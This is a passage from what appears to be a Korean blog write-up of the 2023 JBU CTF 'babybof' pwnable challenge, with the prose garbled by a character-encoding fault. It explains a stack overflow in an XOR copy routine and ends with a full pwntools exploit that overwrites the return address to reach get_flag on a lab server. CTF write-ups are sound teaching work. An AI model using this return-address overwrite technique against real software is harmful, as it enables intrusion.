CTF

[2023 JBU CTF] babybof write-up

e_yejun 2023. 10. 28. 21:39

๋ถ„์•ผ : Pwnable

๐Ÿง ๋ฌธ์ œ

๋ฌธ์ œ๋ช… : babybof

bof๊ฐ€ ๋ฐœ์ƒํ•จ์„ ์ธ์ง€ํ•˜๊ณ , xor ์—ฐ์‚ฐ ๊ฐ’์— ๋งž์ถฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

์œ„ ๊ตฌ์„ฑ์ด ๋ฌธ์ œํŒŒ์ผ๋กœ ์ œ๊ณต๋œ๋‹ค. ๋กœ์ปฌ์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์˜ฌ๋ ค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๊ณ , ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„œ๋ฒ„์— ์ „์†กํ•˜๋ฉด ์‹ค์ œ ๋ฌธ์ œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๐Ÿง ๋ถ„์„

babybof ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

๋จผ์ €, ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•์€ NX bit๊ฐ€ ๊ฑธ๋ ค์žˆ๊ณ , Canary์™€ PIE๊ฐ€ ๊ฑธ๋ ค์žˆ์ง€ ์•Š๋‹ค.

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋””์ปดํŒŒ์ผํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•œ๋‹ค.

 

๋จผ์ €, get_flagํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด /home/RET/flag๋ฅผ ์ฝ์–ด์„œ ์ถœ๋ ฅํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

mainํ•จ์ˆ˜์—์„œ vulnํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. ์ด๋•Œ, main ํ•จ์ˆ˜์˜ ์ง€์—ญ๋ณ€์ˆ˜์ธ v4์˜ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋„˜๊ธด๋‹ค.

 

vulnํ•จ์ˆ˜์ด๋‹ค. ์ง€์—ญ๋ณ€์ˆ˜ v2๋ฅผ ์„ ์–ธํ•˜๊ณ , ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค. ์ด๋•Œ, v2์˜ ํฌ๊ธฐ๋Š” **512byte**์ด๋‹ค.

์ดํ›„, xor_data ํ•จ์ˆ˜์— mainํ•จ์ˆ˜์—์„œ ๋„˜์–ด์˜จ a1(ํฌ์ธํ„ฐ)์™€ vulnํ•จ์ˆ˜์˜ v2๋ณ€์ˆ˜ ์ฃผ์†Œ๋ฅผ ๋„˜๊ธด๋‹ค.

 

xor_dataํ•จ์ˆ˜์—์„œ a2์˜ ๊ธธ์ด๋งŒํผ a2๋ฅผ a1์— ๊ฐ’์„ ๋ณต์‚ฌํ•˜๋Š” ๊ณผ์ •์—์„œ bof๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

์œ„ vulnํ•จ์ˆ˜์˜ v2๋Š” **512byte**์ด๊ณ , mainํ•จ์ˆ˜์˜ v4๋Š” **256byte**์ด๋‹ค. ๋”ฐ๋ผ์„œ, vulnํ•จ์ˆ˜์˜ v2๊ธธ์ด๋งŒํผ ๋ณต์‚ฌํ•˜๊ฒŒ ๋˜๋ฉด, mainํ•จ์ˆ˜์˜ v4 ๋ฒ„ํผ์—์„œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ RET overwrite ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ, vulnํ•จ์ˆ˜์˜ v2์—์„œ A๋ฅผ 264byte(v4+SFP)๋งŒํผ ์ฑ„์šฐ๊ณ , get_flagํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด mainํ•จ์ˆ˜๊ฐ€ ๋๋‚  ๋•Œ, get_flagํ•จ์ˆ˜๋กœ returnํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

๋˜ํ•œ, xor_dataํ•จ์ˆ˜์—์„œ ๊ฐ’์„ ๋ณต์‚ฌํ•ด์ฃผ๋Š” ๋ถ€๋ถ„์„ ๋ณด๋ฉด **a2[i]^88**์˜ ๊ฒฐ๊ณผ ๊ฐ’์ด **a1[i]**์— ๋“ค์–ด๊ฐ„๋‹ค. ๋”ฐ๋ผ์„œ, ์šฐ๋ฆฌ๋Š” payload^88๋ฅผ ๋„˜๊ฒจ์ฃผ๋ฉด ๋œ๋‹ค.

 

๐Ÿง ์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *

#p = process('./babybof')
e = ELF('./babybof')
p = remote('192.168.83.137', 13571)

get_shell = e.symbols['get_flag']

payload = b''
payload += b'A'* (0x100 + 8)
payload += p64(get_shell)

payload_xor = ''
for i in payload:
    payload_xor += chr(i^88)

print(hex(get_shell))
print(payload_xor)

p.sendline(payload_xor)

p.interactive()

ํ•ด๋‹น exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.